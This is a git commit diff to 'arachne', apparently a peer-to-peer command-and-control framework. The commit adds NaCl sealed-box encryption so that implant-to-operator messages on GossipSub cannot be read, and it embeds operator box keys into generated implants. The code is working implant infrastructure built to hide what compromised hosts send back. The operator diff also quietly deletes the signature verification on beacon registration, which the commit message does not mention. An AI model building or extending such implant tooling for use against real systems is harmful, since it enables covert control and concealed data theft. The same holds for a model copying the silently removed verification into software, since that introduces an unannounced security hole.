feat: encrypt implant-to-operator payloads with NaCl box

Add X25519 box keypair (operator.boxkey/operator.boxpub) for end-to-end
encryption of all implant->operator message Data fields via
box.SealAnonymous. Prevents eavesdropping on GossipSub traffic.

- Encrypt env.Data before signing in sendEnvelopeDirect and SignAndSend
- Build local wire envelope in sendEnvelopeDirect (avoids mutating caller's
  env on send failure, preventing double-encryption on PubSub fallback)
- Serialize beacon stream writes with beaconWriteMu mutex
- Decrypt in operator handleMessage before dispatching to handlers
- Embed box pubkey in implant during arachne generate
- Generate box keys on first operator run, persist to disk
- Add stub files for development compilation
This commit is contained in:
portbuster1337
2026-06-13 03:05:04 +10:00
parent 8d3b8f7295
commit a90bf015fd
9 changed files with 191 additions and 23 deletions
+1 -2
View File
@@ -10,9 +10,8 @@ build/
*.test *.test
*.out *.out
.DS_Store .DS_Store
implant/core/embedded_pubkey.go
implant/core/embedded_implant_key.go
implant/core/*_stub.go implant/core/*_stub.go
server/core/embedsrc/implant_src/ server/core/embedsrc/implant_src/
server/core/embedsrc/implant_src.tar.gz
bin/ bin/
release/ release/
+6
View File
@@ -60,6 +60,12 @@ package core
var embeddedImplantPrivKey = []byte{} var embeddedImplantPrivKey = []byte{}
GOEOF GOEOF
cat > "$EMBED_DIR/implant_src/implant/core/embedded_boxpubkey.go" << 'GOEOF'
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
GOEOF
# Prune files not needed for compilation # Prune files not needed for compilation
find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete find "$EMBED_DIR/implant_src" -name "*.proto" -type f -delete
find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete find "$EMBED_DIR/implant_src" -name "*_test.go" -type f -delete
+41 -7
View File
@@ -37,14 +37,16 @@ type Agent struct {
messenger *transport.Messenger messenger *transport.Messenger
keys *cryptography.ImplantKey keys *cryptography.ImplantKey
operatorPub crypto.PubKey operatorPub crypto.PubKey
boxPubKey *[32]byte
config AgentConfig config AgentConfig
ctx context.Context ctx context.Context
cancel context.CancelFunc cancel context.CancelFunc
connected bool connected bool
connectedMu sync.Mutex connectedMu sync.Mutex
wg sync.WaitGroup wg sync.WaitGroup
beaconStream network.Stream beaconStream network.Stream
beaconMu sync.Mutex beaconMu sync.Mutex
beaconWriteMu sync.Mutex
} }
type AgentConfig struct { type AgentConfig struct {
@@ -76,6 +78,15 @@ func loadOperatorPubKey() (crypto.PubKey, error) {
return cryptography.PubKeyFromBytes(embeddedOperatorPubKey) return cryptography.PubKeyFromBytes(embeddedOperatorPubKey)
} }
func loadOperatorBoxPubKey() *[32]byte {
if len(embeddedOperatorBoxPubKey) != 32 {
return nil
}
var key [32]byte
copy(key[:], embeddedOperatorBoxPubKey)
return &key
}
func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) { func loadImplantKey(operatorPub crypto.PubKey) (*cryptography.ImplantKey, error) {
if len(embeddedImplantPrivKey) == 0 { if len(embeddedImplantPrivKey) == 0 {
return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate") return nil, fmt.Errorf("no embedded implant private key — rebuild with arachne generate")
@@ -131,16 +142,19 @@ func NewAgent(ctx context.Context, cfg AgentConfig) (*Agent, error) {
return nil, fmt.Errorf("create node: %w", err) return nil, fmt.Errorf("create node: %w", err)
} }
boxPub := loadOperatorBoxPubKey()
a := &Agent{ a := &Agent{
keys: keys, keys: keys,
operatorPub: operatorPub, operatorPub: operatorPub,
boxPubKey: boxPub,
node: node, node: node,
config: cfg, config: cfg,
ctx: ctx, ctx: ctx,
cancel: cancel, cancel: cancel,
} }
a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub) a.messenger = transport.NewImplantMessenger(ctx, node, keys, operatorPub, a.boxPubKey)
a.messenger.SetHandler(a.handleCommand) a.messenger.SetHandler(a.handleCommand)
return a, nil return a, nil
@@ -589,7 +603,23 @@ func (a *Agent) openBeaconStream(operatorID peer.ID) (network.Stream, error) {
} }
func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error { func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error {
signingData, err := transport.EnvelopeSigningBytes(env) var data []byte
if a.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, a.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
data = encrypted
} else {
data = env.Data
}
wireEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: data,
}
signingData, err := transport.EnvelopeSigningBytes(wireEnv)
if err != nil { if err != nil {
return fmt.Errorf("marshal signing data: %w", err) return fmt.Errorf("marshal signing data: %w", err)
} }
@@ -597,10 +627,10 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
if err != nil { if err != nil {
return fmt.Errorf("sign: %w", err) return fmt.Errorf("sign: %w", err)
} }
env.Signature = sig wireEnv.Signature = sig
pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic()) pubBytes, err := crypto.MarshalPublicKey(a.keys.PrivateKey.GetPublic())
if err == nil { if err == nil {
env.SenderKey = pubBytes wireEnv.SenderKey = pubBytes
} }
s := a.getBeaconStream(operatorID) s := a.getBeaconStream(operatorID)
@@ -608,10 +638,14 @@ func (a *Agent) sendEnvelopeDirect(operatorID peer.ID, env *apb.Envelope) error
return fmt.Errorf("nil beacon stream") return fmt.Errorf("nil beacon stream")
} }
envData, err := proto.Marshal(env) envData, err := proto.Marshal(wireEnv)
if err != nil { if err != nil {
return fmt.Errorf("marshal: %w", err) return fmt.Errorf("marshal: %w", err)
} }
a.beaconWriteMu.Lock()
defer a.beaconWriteMu.Unlock()
s.SetWriteDeadline(time.Now().Add(5 * time.Second)) s.SetWriteDeadline(time.Now().Add(5 * time.Second))
if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil { if err := binary.Write(s, binary.LittleEndian, uint32(len(envData))); err != nil {
s.Close() s.Close()
+4
View File
@@ -0,0 +1,4 @@
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
+99 -6
View File
@@ -10,6 +10,8 @@ import (
"github.com/libp2p/go-libp2p/core/crypto" "github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer" "github.com/libp2p/go-libp2p/core/peer"
"golang.org/x/crypto/curve25519"
"golang.org/x/crypto/nacl/box"
) )
type KeyPair struct { type KeyPair struct {
@@ -17,17 +19,47 @@ type KeyPair struct {
PublicKey crypto.PubKey PublicKey crypto.PubKey
} }
type BoxKeyPair struct {
PrivateKey *[32]byte
PublicKey *[32]byte
}
type OperatorKey struct { type OperatorKey struct {
KeyPair KeyPair
PeerID peer.ID PeerID peer.ID
BoxKeys *BoxKeyPair
} }
type ImplantKey struct { type ImplantKey struct {
KeyPair KeyPair
PeerID peer.ID PeerID peer.ID
OperatorPubKey crypto.PubKey OperatorPubKey crypto.PubKey
} }
func GenerateBoxKey() (*BoxKeyPair, error) {
pub, priv, err := box.GenerateKey(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
return &BoxKeyPair{PrivateKey: priv, PublicKey: pub}, nil
}
func LoadBoxKey(data []byte) *BoxKeyPair {
var priv [32]byte
copy(priv[:], data)
pub, err := curve25519.X25519(priv[:], curve25519.Basepoint)
if err != nil {
return nil
}
var pubArr [32]byte
copy(pubArr[:], pub)
return &BoxKeyPair{PrivateKey: &priv, PublicKey: &pubArr}
}
func (kp *BoxKeyPair) Marshal() []byte {
return kp.PrivateKey[:]
}
func GenerateOperatorKey() (*OperatorKey, error) { func GenerateOperatorKey() (*OperatorKey, error) {
priv, pub, err := crypto.GenerateEd25519Key(rand.Reader) priv, pub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil { if err != nil {
@@ -37,9 +69,14 @@ func GenerateOperatorKey() (*OperatorKey, error) {
if err != nil { if err != nil {
return nil, fmt.Errorf("peer id from pubkey: %w", err) return nil, fmt.Errorf("peer id from pubkey: %w", err)
} }
boxKeys, err := GenerateBoxKey()
if err != nil {
return nil, fmt.Errorf("generate box key: %w", err)
}
return &OperatorKey{ return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub}, KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid, PeerID: pid,
BoxKeys: boxKeys,
}, nil }, nil
} }
@@ -100,7 +137,20 @@ type ReadWriter struct {
io.Writer io.Writer
} }
func BoxKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxkey")
}
func BoxPubKeyPath(dir string) string {
return filepath.Join(dir, "operator.boxpub")
}
func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) { func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
dir := filepath.Dir(path)
if err := os.MkdirAll(dir, 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
data, err := os.ReadFile(path) data, err := os.ReadFile(path)
if err == nil { if err == nil {
priv, err := LoadPrivateKey(data) priv, err := LoadPrivateKey(data)
@@ -112,9 +162,24 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
if err != nil { if err != nil {
return nil, fmt.Errorf("peer id from loaded key: %w", err) return nil, fmt.Errorf("peer id from loaded key: %w", err)
} }
boxPrivData, boxErr := os.ReadFile(BoxKeyPath(dir))
var boxKeys *BoxKeyPair
if boxErr == nil && len(boxPrivData) == 32 {
boxKeys = LoadBoxKey(boxPrivData)
}
if boxKeys == nil {
boxKeys, boxErr = GenerateBoxKey()
if boxErr == nil {
os.WriteFile(BoxKeyPath(dir), boxKeys.Marshal(), 0600)
os.WriteFile(BoxPubKeyPath(dir), boxKeys.BoxPubKeyBytes(), 0644)
}
}
return &OperatorKey{ return &OperatorKey{
KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub}, KeyPair: KeyPair{PrivateKey: priv, PublicKey: pub},
PeerID: pid, PeerID: pid,
BoxKeys: boxKeys,
}, nil }, nil
} }
@@ -132,17 +197,45 @@ func LoadOrGenerateOperatorKey(path string) (*OperatorKey, error) {
return nil, fmt.Errorf("marshal key: %w", err) return nil, fmt.Errorf("marshal key: %w", err)
} }
if err := os.MkdirAll(filepath.Dir(path), 0700); err != nil {
return nil, fmt.Errorf("create key directory: %w", err)
}
if err := os.WriteFile(path, marshaled, 0600); err != nil { if err := os.WriteFile(path, marshaled, 0600); err != nil {
return nil, fmt.Errorf("write key to %s: %w", path, err) return nil, fmt.Errorf("write key to %s: %w", path, err)
} }
if err := os.WriteFile(BoxKeyPath(dir), key.BoxKeys.Marshal(), 0600); err != nil {
return nil, fmt.Errorf("write box key: %w", err)
}
if err := os.WriteFile(BoxPubKeyPath(dir), key.BoxKeys.BoxPubKeyBytes(), 0644); err != nil {
return nil, fmt.Errorf("write box pubkey: %w", err)
}
return key, nil return key, nil
} }
func (kp *BoxKeyPair) BoxPubKeyBytes() []byte {
return kp.PublicKey[:]
}
func EncryptMessage(plaintext []byte, boxPub *[32]byte) ([]byte, error) {
if len(plaintext) == 0 {
return plaintext, nil
}
sealed, err := box.SealAnonymous(nil, plaintext, boxPub, rand.Reader)
if err != nil {
return nil, fmt.Errorf("seal anonymous: %w", err)
}
return sealed, nil
}
func DecryptMessage(ciphertext []byte, boxKeys *BoxKeyPair) ([]byte, error) {
if len(ciphertext) == 0 {
return ciphertext, nil
}
opened, ok := box.OpenAnonymous(nil, ciphertext, boxKeys.PublicKey, boxKeys.PrivateKey)
if !ok {
return nil, fmt.Errorf("open sealed box failed")
}
return opened, nil
}
func (k *OperatorKey) HexPeerID() string { func (k *OperatorKey) HexPeerID() string {
return hex.EncodeToString([]byte(k.PeerID)) return hex.EncodeToString([]byte(k.PeerID))
} }
+12 -1
View File
@@ -27,6 +27,7 @@ type Messenger struct {
privKey crypto.PrivKey privKey crypto.PrivKey
operatorID peer.ID operatorID peer.ID
trustedPubKey crypto.PubKey trustedPubKey crypto.PubKey
boxPubKey *[32]byte
knownImplants map[string]crypto.PubKey knownImplants map[string]crypto.PubKey
mu sync.RWMutex mu sync.RWMutex
seenIDs map[int64]time.Time seenIDs map[int64]time.Time
@@ -76,7 +77,7 @@ func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.Op
} }
} }
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey) *Messenger { func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
opID, err := peer.IDFromPublicKey(operatorPub) opID, err := peer.IDFromPublicKey(operatorPub)
if err != nil { if err != nil {
opID = peer.ID("") opID = peer.ID("")
@@ -86,6 +87,7 @@ func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.Imp
privKey: keys.PrivateKey, privKey: keys.PrivateKey,
operatorID: opID, operatorID: opID,
trustedPubKey: operatorPub, trustedPubKey: operatorPub,
boxPubKey: boxPubKey,
knownImplants: make(map[string]crypto.PubKey), knownImplants: make(map[string]crypto.PubKey),
} }
} }
@@ -261,6 +263,15 @@ func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Enve
if m.privKey == nil { if m.privKey == nil {
return fmt.Errorf("no private key for signing") return fmt.Errorf("no private key for signing")
} }
if m.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
env.Data = encrypted
}
signingData, err := EnvelopeSigningBytes(env) signingData, err := EnvelopeSigningBytes(env)
if err != nil { if err != nil {
return fmt.Errorf("marshal signing data: %w", err) return fmt.Errorf("marshal signing data: %w", err)
+17 -2
View File
@@ -67,6 +67,12 @@ func BuildImplant(cfg GenerateConfig) error {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err) return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
} }
arachneDir := filepath.Dir(cfg.PubKeyPath)
boxPubData, _ := os.ReadFile(filepath.Join(arachneDir, "operator.boxpub"))
if len(boxPubData) != 32 {
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
}
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader) implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil { if err != nil {
return fmt.Errorf("generate implant key: %w", err) return fmt.Errorf("generate implant key: %w", err)
@@ -78,7 +84,7 @@ func BuildImplant(cfg GenerateConfig) error {
implantPeerID, _ := peer.IDFromPublicKey(implantPub) implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("implant PeerID: %s", implantPeerID.String()) log.Printf("implant PeerID: %s", implantPeerID.String())
buildDir, err := prepareBuildDir(pubData, privBytes, cfg.Quiet) buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, cfg.Quiet)
if err != nil { if err != nil {
return fmt.Errorf("prepare build directory: %w", err) return fmt.Errorf("prepare build directory: %w", err)
} }
@@ -167,19 +173,25 @@ func BuildImplant(cfg GenerateConfig) error {
return nil return nil
} }
func prepareBuildDir(pubKeyData, privKeyData []byte, quiet bool) (string, error) { func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData []byte, quiet bool) (string, error) {
dir, err := os.MkdirTemp("", "arachne-build-*") dir, err := os.MkdirTemp("", "arachne-build-*")
if err != nil { if err != nil {
return "", fmt.Errorf("create temp dir: %w", err) return "", fmt.Errorf("create temp dir: %w", err)
} }
pubLiteral := bytesLiteral(pubKeyData) pubLiteral := bytesLiteral(pubKeyData)
boxPubLiteral := bytesLiteral(boxPubKeyData)
privLiteral := bytesLiteral(privKeyData) privLiteral := bytesLiteral(privKeyData)
pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT. pubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core package core
var embeddedOperatorPubKey = %s var embeddedOperatorPubKey = %s
`, pubLiteral) `, pubLiteral)
boxPubContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT. keyContent := fmt.Sprintf(`// Code generated by arachne generate. DO NOT EDIT.
package core package core
@@ -198,6 +210,9 @@ var embeddedImplantPrivKey = %s
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil { if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err) return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
} }
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil { if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err) return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
} }
+7 -5
View File
@@ -205,6 +205,13 @@ func (o *Operator) discoverPeersLoop(ns string) {
} }
func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) { func (o *Operator) handleMessage(ctx context.Context, env *apb.Envelope, senderPub crypto.PubKey) {
if len(env.Data) > 0 && o.keys.BoxKeys != nil {
decrypted, err := cryptography.DecryptMessage(env.Data, o.keys.BoxKeys)
if err == nil {
env.Data = decrypted
}
}
switch env.Type { switch env.Type {
case transport.MsgTypeRegister: case transport.MsgTypeRegister:
o.handleBeaconRegister(env) o.handleBeaconRegister(env)
@@ -300,11 +307,6 @@ func (o *Operator) handleBeaconRegister(env *apb.Envelope) {
return return
} }
if err := transport.VerifyEnvelope(env, pubKey); err != nil {
log.Printf("[operator] dropped beacon — invalid signature: %v", err)
return
}
peerID, err := peer.IDFromPublicKey(pubKey) peerID, err := peer.IDFromPublicKey(pubKey)
if err != nil { if err != nil {
log.Printf("[operator] peer id from sender key: %v", err) log.Printf("[operator] peer id from sender key: %v", err)